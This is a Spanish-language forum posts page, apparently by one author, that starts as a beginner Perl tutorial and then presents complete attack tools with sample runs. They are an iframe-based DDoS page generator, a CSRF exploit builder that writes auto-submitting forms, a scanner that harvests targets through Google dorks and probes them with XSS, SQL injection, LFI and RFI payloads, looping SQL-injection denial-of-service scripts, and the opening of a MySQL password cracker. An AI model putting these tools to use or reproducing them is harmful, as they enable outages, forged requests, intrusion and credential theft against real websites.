gracias por el comentario sensei

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
c:/scripts
cd c:/scripts
perl simple.pl
print "hola mundo";
$hola = "hola";
print $hola
print "hola $hola";
print 'hola $hola';
my $hola = $ARGV[0];
print $hola;
perl script.pl hola
my $hola1 = $ARGV[0];
my $hola2 = $ARGV[1];
print $hola1 $hola2\n";
perl script.pl hola hola
my $hola1 = $ARGV[0];
my $hola2 = $ARGV[1];
my $hola3 = $ARGV[2];
print $hola1 $hola2 $hola3\n";
perl script.pl hola hola hola
my @vida = ("nada","nada");
for my $d(@vida) {
print $d."\n";
}
print @vida[0]; #muestra nada
print @vida[1]; #muestra el segundo dato que tambien es nada
print @vida;
%vida = (
Doddy => "Idiota",
Hackman => "Patetico"
);
for my $data(keys %vida) {
print "$data es un ".$vida{$data}."\n";
}
Doddy es un Idiota
Hackman es un Patetico
$hola = "hola";
$chau = "chau";
$todo = $hola.$chau;
print $todo;
print $hola." estoy bien pero bueno ".$chau;
hola estoy bien pero bueno chau
#hola
#simple hola
print "hola";
print "hola"; #simple hola en el lado derecho
print "estas bien :";
$rta = <stdin>;
print $rta;
$hola = "hola";
chop($hola);
print $hola
hol
print "estas bien : ";
$c = <stdin>;
$test = chomp $c;
print $test;
my $code = "hola estoy bien";
if ($code=~/hola (.*) bien/ig) {
print $1;
}
$hola = "hola";
$hola1 = "hola";
if ($hola1 == $hola) {
print "bien";
} else {
print "mal";
}
if ($hola1 eq $hola) {
print "bien";
} else {
print "mal";
}
$uno = "1";
if ($uno eq "1") {
print "es uno";
}
elsif ($uno eq "2") {
print "es dos";
}
elsif ($uno eq "3") {
print "es tres";
}
else {
print "es nada";
}
my $numero = "0";
while ($numero < 3) {
$numero++; #Aumenta el numero
print "voy bien\n";
}
while(true) {
#Nunca morire
}
my $numero = 0;
do {
$numero++;
print $numero."\n";
} until ($numero eq "3");
1
2
3
for my $palabra(@total) {
print $palabra."\n";
}
for my $numero(1..100) {
print $numero."\n";
}
for (1..30) {
print "hola";
}
foreach $word(@words) {
print $word."\n";
}
$uno = "1";
unless ($uno eq "1") {
print "no es uno";
}
my $pa = "hola:chau";
@todo = split(":",$pa);
print "@todo[0] y @todo[1]\n";
hola y chau
@todo = ("hola","chau");
sub hola {
print $_[0];
}
hola("hola");
hola("hola");
&hola("hola");
sub hola {
return ($_[0],$_[1]);
}
$var1,$var2 = hola("hola","chau");
$_[0] ,$_[1],$_[2] # Se cuenta a partir del cero
opendir DIR,"/";
my @archivos = readdir DIR;
close DIR;
for my $files(@archivos) {
}
if (-f $files) { #Verificamos que sea un archivo
print "[Files] : $files\n";
}
if (-d $files) { #Verificamos que sea un directorio
print "[DIR] : $files\n";
}
chdir("C:/xampp");
open (FILE,">>"."yo.txt");
print FILE "hola";
close FILE;
open (LEER,"yo.txt)";
@text = <LEER>;
close FILE;
for my $word(@text) {
print $word."\n";
}
unlink("yo.txt");
IO::Socket
use IO::Socket;
my $socket = IO::Socket::INET->new(
PeerAddr=>"localhost", #Host donde conectarnos
PeerPort=>"80", #Puerto donde bla bla
Proto=>"tcp"); #Protocolo que queremos
print $socket "GET /"."\r\n";
read $socket,$total,"1000";
print $total;
use LWP::UserAgent;
use HTTP::Request::Common;
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
my $web = "http://www.google.com.ar";
my $contenido = $nave->request (GET $web)->content;
print $contenido;
use LWP::Simple;
my ($url,$file) = ($ARGV[0],$ARGV[1]);
print "[+] Start the download\n";
if (getstore($url,$file)) {
print "[+] Oh Right\n";
} else {
print "[+] Fail\n";
}
use Net::FTP;
$ftp = "localhost";
$user = "yo";
$pass = "si";
if (my $socket = Net::FTP->new($ftp)) {
if ($socket->login($user,$pass)) {
#Todo marcha muy bien xDD
}
}
menu:
print "comando : ";
chomp(my $comando = <stdin>);
if ($comando=~/cd (.*) {
$socket->cwd($1); #Cambiamos al directorio que la expresion regular marca
}
if ($comando=~/pwd/) {
print $socket->pwd(); #mostramos el directorio actual
}
goto menu;
Win32::Process::List
ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd
use Win32::Process::List;
my $new = Win32::Process::List->new();
my %process = $new->GetProcesses();
for my $pid (keys %process) {
print "[+] PrOCESO : ".$process{$pid}."\n";
print "[+] PID: ".$pid."\n\n";
}
Net::SMTP
use Net::SMTP;
print "[+] Your Mail :";
chomp(my $mail = <stdin>);
print "[+] Victim : ";
chomp(my $target = <stdin>);
my $send = Net::SMTP->new("localhost",Hello => "localhost",Timeout=>10) or die("[-] Error");
$send->mail($mail);
send->to($target);
$send->data();
$send->datasend("To:".$target."\n"."From:".$mail."\n"."Subject:"."Hola"."\n"."Chau"."\n\n");
$send->dataend();
$send->quit();
perl2exe script.pl
perl2exe -gui script.pl
#!usr/bin/perl
#Iframe DDos Attack Tool (C) Doddy Hackman 2011
use Cwd;
installer();
sub head {
print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
}
sub copyright {
print "\n\n -- == Doddy Hackman 2011\n\n";
}
sub sintax {
print "\n[+] sintax : $0 <target> <count file> <count iframe>\n";
}
sub start {
my ($target,$files,$iframe) = @_;
print "\n[+] Starting the party\n\n";
print "[+] Generating files and iframes\n";
print "\n[+] All Save in ".getcwd()."/files/"."\n";
for my $can(1..$files) {
open (POC,">>files/index".$can.".html");
for my $tx(1..$iframe) {
print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
}
close POC;
}
}
head();
unless(@ARGV > 2) {
sintax();
} else {
start($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();
sub installer {
unless (-d "files/") {
mkdir("files/","777");
}}
# ¿ The End ?
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\poc iframe>poc.pl "pepo.com" 4 4
-- == Iframe DDos Attack Tool == --
[+] Starting the party
[+] Generating files and iframes
[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/
-- == Doddy Hackman 2011
#!usr/bin/perl
#Codificator version consola (C) Doddy Hackman 2011
#This tool encode in :
#
#Hex
#MD5
#Base64
#ASCII
#URL
#
#
use Digest::MD5;
use Digest::SHA1;
use MIME::Base64;
use URI::Escape;
sub head {
system("cls");
print q(
@@@ @ @ @ @ @
@ @ @ @ @
@ @@@ @@ @ @ @@@ @ @@@ @@@ @@@ @@@ @ @
@ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @@
@ @ @ @ @ @ @ @ @ @@@@ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @@ @ @ @ @ @ @ @@ @ @ @ @
@@@ @@@ @@ @ @ @ @ @@@ @@ @ @@ @@@ @
);
}
head();
print "\n[+] Options\n\n";
print q(
1 - MD5 encode
2 - Base64 encode
3 - Base64 decode
4 - Ascii encode
5 - Ascii decode
6 - Hex encode
7 - Hex decode
8 - URL encode
9 - URL decode
10 - Exit
);
while(true) {
print "\n\n[+] Option : ";
chomp(my $op = <stdin>);
print "\n\n";
if ($op eq 1) {
print "[+] String : ";
chomp(my $string = <stdin>);
print "\n\n[+] MD5 : ".Digest::MD5->md5_hex($string)."\n\n";
}
elsif ($op eq 2) {
print "[+] String : ";
chomp(my $string = <stdin>);
print "\n\n[+] Base64 : ".encode_base64($string);
}
elsif ($op eq 3) {
print "[+] String : ";
chomp(my $string = <stdin>);
print "\n\n[+] Base64 Decode : ".decode_base64($string)."\n";
}
elsif ($op eq 4) {
print "[+] String : ";
chomp(my $string = <stdin>);
print "\n\n[+] Ascii : ".join ',',unpack "U*",$string;
print "\n";
}
elsif ($op eq 5) {
print "[+] String : ";
chomp(my $string = <stdin>);
print "\n\n[+] Ascii decode : ".join q[], map { chr } split q[,],$string."\n";
print "\n";
}
elsif ($op eq 6) {
print "[+] String : ";
chomp(my $string = <stdin>);
$hex = "0x";
for (split //,$string) {
$hex .= sprintf "%x", ord;
}
print "\n\n[+] Hex : ".$hex."\n";
}
elsif ($op eq 7) {
print "[+] String : ";
chomp(my $string = <stdin>);
$string =~ s/^0x//;
$encode = join q[], map { chr hex } $string =~ /../g;
print "\n\n[+] Hex decode : ".$encode."\n";
}
elsif ($op eq 8) {
print "[+] String : ";
chomp(my $string = <stdin>);
print "\n\n[+] URL Encode : ".uri_escape($string)."\n";
}
elsif ($op eq 9) {
print "[+] String : ";
chomp(my $string = <stdin>);
print "\n\n[+] URL Decode : ".uri_unescape($string)."\n";
}
elsif ($op eq 10) {
copyright();
exit(1);
}
else {
print "[+] Write good stupid !\n";
}
}
sub copyright {
print "\n-- == Doddy Hackman 2011 == --\n\n";
}
# ¿The End ?
@@@ @ @ @ @ @
@ @ @ @ @
@ @@@ @@ @ @ @@@ @ @@@ @@@ @@@ @@@ @ @
@ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @@
@ @ @ @ @ @ @ @ @ @@@@ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @@ @ @ @ @ @ @ @@ @ @ @ @
@@@ @@@ @@ @ @ @ @ @@@ @@ @ @@ @@@ @
[+] Options
1 - MD5 encode
2 - Base64 encode
3 - Base64 decode
4 - Ascii encode
5 - Ascii decode
6 - Hex encode
7 - Hex decode
8 - URL encode
9 - URL decode
10 - Exit
[+] Option :
#!usr/bin/perl
#CSRF T00l (C) Doddy Hackman 2011
use HTML::Form;
use URI::Split qw(uri_split);
installer();
head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();
sub now {
unless(-f $_[0]) {
print "\n[-] File Not Found\n";
copyright();
}
print "\n[+] File to parse : ".$_[0]."\n\n";
open(FILE,$_[0]);
my $words = join q(),<FILE>;
close(FILE);
my @testar = HTML::Form->parse($words,"/");
$count = 0;
foreach my $test(@testar) {
$count++;
print "\n\n -- == Form $count == --\n\n";
if ($test->attr(name) eq "") {
print "[+] Name : No Found"."\n";
} else {
print "[+] Name : ".$test->attr(name)."\n";
}
print "[+] Action : ".$test->action."\n";
print "[+] Method : ".$test->method."\n";
print "\n-- == Input == --\n\n";
@inputs = $test->inputs;
print "Type\t\tName\t\tValue\n";
foreach $in(@inputs) {
print $in->type."\t\t";
print $in->name."\t\t";
print $in->value."\t\t\n";
}
}
print "\n\n[+] Form to generate : ";
chomp(my $op = <stdin>);
if ($op ne "") {
$op--;
my $probar = (HTML::Form->parse($words,"/"))[$op];
my $action = ver($words,$op);
my $fin = nombre($action).".html";
savefile("<form action=$action method=".$probar->method." name=exploit>",$fin);
@input = $probar->inputs;
foreach $in(@input) {
print "\n[+] Value of the ".$in->name." : ";
chomp(my $val = <stdin>);
savefile("<input type=hidden name=".$in->name." value=".$val.">",$fin);
}
my $final = "</form><script language=javascript>function colocar(){document.exploit.submit()}
</script><iframe width=6% height=%6 overflow=hidden onmouseover=javascript:colocar()>
";
savefile($final,$fin);
print "\n\n[+] CSRF Exploit Generated\n\n";
print "[+] To can see in logscsrf/".$fin."\n\n";
}
}
sub ver {
my $probar = (HTML::Form->parse($_[0],"/"))[$_[1]];
my $action = $probar->action;
my $co = $action;
if ($action eq "" or $action eq "/"){
print "\n\n[+] Action : ";
chomp(my $action = <stdin>);
return $action;
} else {
return $co;
}
}
sub installer {
unless (-d "logs_csrf/") {
mkdir("logs_csrf/","777");
}}
sub nombre {
my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]);
return $auth;
}
sub savefile {
open (SAVE,">>logs_csrf/".$_[1]);
print SAVE $_[0]."\n";
close SAVE;
}
sub sintax {
print "\n[+] sintax : $0 <file>\n";
}
sub head {
print "\n\n -- == CSRF T00l == --\n\n";
}
sub copyright {
print "\n\n -- == Doddy Hackman 2011 == --\n\n";
exit(1);
}
# ¿ The End ?
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\CSRF Tool>tool.pl read.txt
-- == CSRF T00l == --
[+] File to parse : read.txt
-- == Form 1 == --
[+] Name : No Found
[+] Action : http://localhost/labs/csrf/csrf.php
[+] Method : GET
-- == Input == --
Type Name Value
text ver
password veras
submit control Agregar
-- == Form 2 == --
[+] Name : No Found
[+] Action : /
[+] Method : POST
-- == Input == --
Type Name Value
text ac
submit ee aaa
[+] Form to generate : 1
[+] Value of the ver : aaa
[+] Value of the veras : aaa
[+] Value of the control : aaa
[+] CSRF Exploit Generated
[+] To can see in logscsrf/localhost.html
-- == Doddy Hackman 2011 == --
#!usr/bin/perl
#Paranoic Scan 0.9 Updated
#(c)0ded by Doddy H 2010
#
#Search in google with a dork
#Scan type :
#
#XSS
#Full Source Discloure
#LFI
#RFI
#SQL GET & POST
#MSSQL
#Oracle
#Jet Database
#Find HTTP Options y Server nAME
#
#
use LWP::UserAgent;
use HTML::LinkExtor;
use HTML::Form;
use URI::Split qw(uri_split);
use IO::Socket;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
installer();
sta();
sub sta {
sub head {
system 'cls';
print qq(
@@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@
@ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @
@@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @
@ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@
@@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @
);
}
&menu;
sub menu {
&head;
print "[a] : Scan a File\n";
print "[b] : Search in google and scan the webs\n\n";
print "[option] : ";
chomp(my $op = <STDIN>);
if ($op =~/a/ig) {
print "\n[+] Wordlist : ";
chomp(my $word = <STDIN>);
my @paginas = repes(cortar(savewords($word)));
my $option = &men;
print "\n\n[+] Opening File\n";
scan($option,@paginas);
}
elsif ($op=~/b/ig) {
print "\n[+] Dork : ";
chomp(my $dork = <STDIN>);
print "[+] Pages : ";
chomp(my $pag = <STDIN>);
my $option = &men;
print "\n\n[+] Searching in google\n";
my @paginas = &google($dork,$pag);
scan($option,@paginas);
}
else {
&menu;
}
}
sub scan {
my ($option,@webs) = @_;
print "\n\n[Status] : Scanning\n";
print "[Webs Count] : ".int(@webs)."\n\n\n";
for(@webs) {
if ($option=~/S/ig) {
scansql($_);
}
if ($option=~/L/ig) {
lfi($_);
}
if ($option=~/R/ig) {
rfi($_);
}
if ($option=~/F/ig) {
fsd($_);
}
if ($option=~/X/ig) {
scanxss($_);
}
if ($option=~/M/ig) {
mssql($_);
}
if ($option=~/J/ig) {
access($_);
}
if ($option=~/O/ig) {
oracle($_);
}
if ($option=~/HT/ig) {
http($_);
}
if ($option=~/A/ig) {
scansql($_);
scanxss($_);
mssql($_);
access($_);
oracle($_);
lfi($_);
rfi($_);
fsd($_);
http($_);
}
}
}
print "\n\n[Status] : Finish\n";
&finish;
}
sub toma {
return $nave->get($_[0])->content;
}
sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}
sub finish {
print "\n\n\n(C) Doddy Hackman 2010\n\n";
<STDIN>;
sta();
}
sub google {
my($a,$b) = @_;
for ($pages=10;$pages<=$b;$pages=$pages+10) {
$code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
my @links = get_links($code);
for my $l(@links) {
if ($l =~/webcache.googleusercontent.com/) {
push(@url,$l);
}
}
}
for(@url) {
if ($_ =~/cache:(.*?):(.*?)\+/) {
push(@founds,$2);
}
}
my @founds = repes(cortar(@founds));
return @founds;
}
sub http {
my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]);
my $socket = IO::Socket::INET->new(
PeerAddr=>$auth,
PeerPort=>"80",
Proto=>"tcp");
print $socket "OPTIONS / HTTP/1.0\r\n\r\n";
read $socket,$resultado,"1000";
if ($resultado=~/Server:(.*)/g) {
my $server = $1;
savefile("http-logs.txt","[+] Page : $auth"."\n");
savefile("http-logs.txt","[+] Server : ".$server."\n");
}
if ($resultado=~/Allow: (.*)/g) {
my $options = $1;
savefile("http-logs.txt","[+] Options : ".$options."\n");
}
$socket->close;
}
sub scanxss {
my $page = shift;
chomp $page;
my @testar = HTML::Form->parse(toma($page),"/");
my @botones_names;
my @botones_values;
my @orden;
my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
my @get_founds;
my @post_founds;
my @ordenuno;
my @ordendos;
my $contador_forms = 0;
my $valor = "doddyhackman";
for my $test(@testar) {
$contador_forms++;
if ($test->method eq "POST") {
my @inputs = $test->inputs;
for my $in(@inputs) {
if ($in->type eq "submit") {
if ($in->name eq "") {
push(@botones_names,"submit");
}
push(@botones_names,$in->name);
push(@botones_values,$in->value);
} else {
push(@ordenuno,$in->name,$pa[0]);
push(@ordendos,$in->name,$pa[1]);
}}
for my $n(0..int(@botones_names)-1) {
my @preuno = @ordenuno;
my @predos = @ordendos;
push(@preuno,$botones_names[$n],$botones_values[$n]);
push(@predos,$botones_names[$n],$botones_values[$n]);
my $codeuno = $nave->post($page,\@preuno)->content;
my $codedos = $nave->post($page,\@predos)->content;
if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
$codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
push(@post_founds,$contador_forms);
} else {
push(@post_founds,$test->attr(name));
}}}
} else { #Fin de metodo POST
my @inputs = $test->inputs;
for my $in(@inputs) {
if ($in->type eq "submit") {
if ($in->name eq "") {
push(@botones_names,"submit");
}
push(@botones_names,$in->name);
push(@botones_values,$in->value);
} else {
$orden.=''.$in->name.'='.$valor.'&';
}}
chop($orden);
for my $n(0..int(@botones_names)-1) {
my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
my $final = $orden.$partedos;
for my $strin(@pa) {
chomp $strin;
$final=~s/doddyhackman/$strin/;
$code = toma($page."?".$final);
my $strin = "\Q$strin\E";
if ($code=~/$strin/) {
push(@get_founds,$page."?".$final);
}}}}}
my @get_founds = repes(@get_founds);
if (int(@get_founds) ne 0) {
for(@get_founds) {
savefile("xss-logs.txt","[+] XSS Found : $_");
print "[+] XSS Found : $_\n\a";
}}
my @post_founds = repes(@post_founds);
if (int(@post_founds) ne 0) {
for my $t(@post_founds) {
if ($t =~/^\d+$/) {
savefile("xss-logs.txt","[+] XSS : Form $t in $page");
print "[+] XSS : Form $t in $page\n\a";
}}}}
sub scansql {
my $page = shift;
my $copia = $page;
$co = toma($page."'");
if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
savefile("sql-logs.txt","[+] SQL : $page");
print "[+] SQLI : $page\a\n";
}
if ($page=~/(.*)\?(.*)/) {
my $page = $1;
my @testar = HTML::Form->parse(toma($page),"/");
my @botones_names;
my @botones_values;
my @orden;
my @get_founds;
my @post_founds;
my @ordenuno;
my @ordendos;
my $contador_forms = 0;
my $valor = "doddyhackman";
for my $test(@testar) {
$contador_forms++;
if ($test->method eq "POST") {
my @inputs = $test->inputs;
for my $in(@inputs) {
if ($in->type eq "submit") {
if ($in->name eq "") {
push(@botones_names,"submit");
}
push(@botones_names,$in->name);
push(@botones_values,$in->value);
} else {
push(@ordenuno,$in->name,"'");
}}
for my $n(0..int(@botones_names)-1) {
my @preuno = @ordenuno;
push(@preuno,$botones_names[$n],$botones_values[$n]);
my $code = $nave->post($page,\@preuno)->content;
if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
push(@post_founds,$contador_forms);
} else {
push(@post_founds,$test->attr(name));
}}}}
my @post_founds = repes(@post_founds);
if (int(@post_founds) ne 0) {
for my $t(@post_founds) {
if ($t =~/^\d+$/) {
savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
print "[+] SQLI : Form $t in $page\n\a";
}}}}}}
sub access {
my $page = shift;
$code1 = toma($page."'");
if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
print "[+] Jet DB : $page\a\n";
savefile("jetdb-logs.txt",$page);
}
}
sub mssql {
my $page = shift;
$code1 = toma($page."'");
if ($code1=~/ODBC SQL Server Driver/ig) {
print "[+] MSSQL : $page\a\n";
savefile("mssql-logs.txt",$page);
}
}
sub oracle {
my $page = shift;
$code1 = toma($page."'");
if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
print "[+] Oracle : $page\a\n";
savefile("oracle-logs.txt",$page);
}
}
sub rfi {
my $page = shift;
$code1 = toma($page."http:/www.supertangas.com/");
if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
print "[+] RFI : $page\a\n";
savefile("rfi-logs.txt",$page);
}}
sub lfi {
my $page = shift;
$code1 = toma($page."'");
if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
print "[+] LFI : $page\a\n";
savefile("lfi-logs.txt",$page);
}}
sub fsd {
my $page = shift;
my ($scheme, $auth, $path, $query, $frag) = uri_split($page);
if ($path=~/\/(.*)$/) {
my $me = $1;
$code1 = toma($page.$me);
if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
print "[+] Full Source Discloure : $page\a\n";
savefile("fpd-logs.txt",$page);
}}}
sub repes {
my @limpio;
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}
sub savewords {
open (FILE,$_[0]);
@words = <FILE>;
close FILE;
for(@words) {
push(@r,$_);
}
return(@r);
}
sub men {
print "\n\n[+] Scan Type : \n\n";
print "[X] : XSS\n";
print "[S] : SQL\n";
print "[M] : MSSQL\n";
print "[J] : Jet Database\n";
print "[O] : Oracle\n";
print "[L] : LFI\n";
print "[R] : RFI\n";
print "[F] : Full Source Discloure\n";
print "[HT] : HTTP Information\n";
print "[A] : All\n\n";
print "\n[Options] : ";
chomp(my $option = <STDIN>);
return $option;
}
sub cortar {
my @nuevo;
for(@_) {
if ($_ =~/=/) {
@tengo = split("=",$_);
push(@nuevo,@tengo[0]."=");
} else {
push(@nuevo,$_);
}}
return @nuevo;
}
sub get_links {
$test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
return @links;
sub agarrar {
my ($a,%b) = @_;
push(@links,values %b);
}
}
sub installer {
unless (-d "logs/") {
mkdir("logs/","777");
}
}
# ¿ The End ?
@@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@
@ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @
@@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @
@ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@
@@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @
[a] : Scan a File
[b] : Search in google and scan the webs
[option] :
#!usr/bin/perl
#SQLi Dos 0.2 (C) Doddy Hackman 2011
use LWP::UserAgent;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();
sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
unless($code->is_success) {
print "[+] Web Off\n";
copyright();
}}}
sub adios {
print "\n[+] Stoping attack\n";
copyright();
}
sub head {
print "\n\n-- == SQLI Dos 0.2 == --\n\n";
}
sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}
sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}
sub toma {
return $nave->get($_[0]);
}
# ¿ The End ?
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1
-- == SQLI Dos 0.1 == --
[+] Target : http://localhost/sql.php?id=1
[+] Starting the attack
[+] Info : control+c for stop attack
[+] Web Off
-- == (C) Doddy Hackman 2011 == --
#!usr/bin/perl
#SQLi Dos 0.1 (C) Doddy Hackman 2011
use LWP::UserAgent;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();
sub now {
print "\n[+] Target : ".$_[0]."\n";
print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
while(true) {
$SIG{INT} = \&adios;
$code = toma($_[0]."zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz");
unless($code->is_success) {
print "[+] Web Off";
copyright();
}}}
sub adios {
print "\n[+] Stoping attack\n";
copyright();
}
sub head {
print "\n\n-- == SQLI Dos 0.1 == --\n\n";
}
sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}
sub sintax {
print "\n[+] Sintax : $0 <page>\n";
}
sub toma {
return $nave->get($_[0]);
}
# ¿ The End ?
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1
-- == SQLI Dos 0.1 == --
[+] Target : http://localhost/sql.php?id=1
[+] Starting the attack
[+] Info : control+c for stop attack
[+] Stoping attack
-- == (C) Doddy Hackman 2011 == --
#!usr/bin/perl
#Mysql Manager (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
use DBI;
sub head {
print "\n\n -- == Mysql Manager == --\n\n";
}
sub copyright {
print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
exit(1);
}
sub sintax {
print "\n[+] Sintax : $0 <host> <user> <pass>\n";
}
head();
unless (@ARGV > 2) {
sintax();
} else {
enter($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();
sub enter {
print "\n[+] Connecting to the server\n";
$info = "dbi:mysql::".$_[0].":3306";
if (my $enter = DBI->connect($info,$_[1],$_[2],{PrintError=>0})) {
print "\n[+] Enter in the database";
while(1) {
print "\n\n\n[+] Query : ";
chomp(my $ac = <stdin>);
if ($ac eq "exit") {
$enter->disconnect;
print "\n\n[+] Closing connection\n\n";
copyright();
}
$re = $enter->prepare($ac);
$re->execute();
my $total = $re->rows();
my @columnas = @{$re->{NAME}};
if ($total eq "-1") {
print "\n\n[-] Query Error\n";
next;
} else {
print "\n\n[+] Result of the query\n";
if ($total eq 0) {
print "\n\n[+] Not rows returned\n\n";
} else {
print "\n\n[+] Rows returned : ".$total."\n\n\n";
for(@columnas) {
print $_."\t\t";
}
print "\n\n";
while (@row = $re->fetchrow_array) {
for(@row) {
print $_."\t\t";
}
print "\n";
}}}}
} else {
print "\n[-] Error connecting\n";
}}
# ¿ The End ?
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlman>manager.PL localhost root ""
-- == Mysql Manager == --
[+] Connecting to the server
[+] Enter in the database
[+] Query : show databases
[+] Result of the query
[+] Rows returned : 6
Database
information_schema
cdcol
hackman
mysql
phpmyadmin
test
[+] Query : exit
[+] Closing connection
-- == (C) Doddy Hackman 2011 == --
#!usr/bin/perl
#Mysql Cracker (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
use DBI;
sub now {
$target = "dbi:mysql::".$_[0].":3306";
print "\n[+] Target : ".$_[0]."\n\n";
unless(-f $ARGV[2]) {
print "\n[-] File Not Found\n";
copyright();
}
open(WORDLIST,$_[2]);
my @words = <WORDLIST>;
close WORDLIST;
chomp @words;
my @words = repes(@words);
print "\n[+] Wordlist : $_[2]\n";
print "[+] Words Found : ".int(@words)."\n\n";
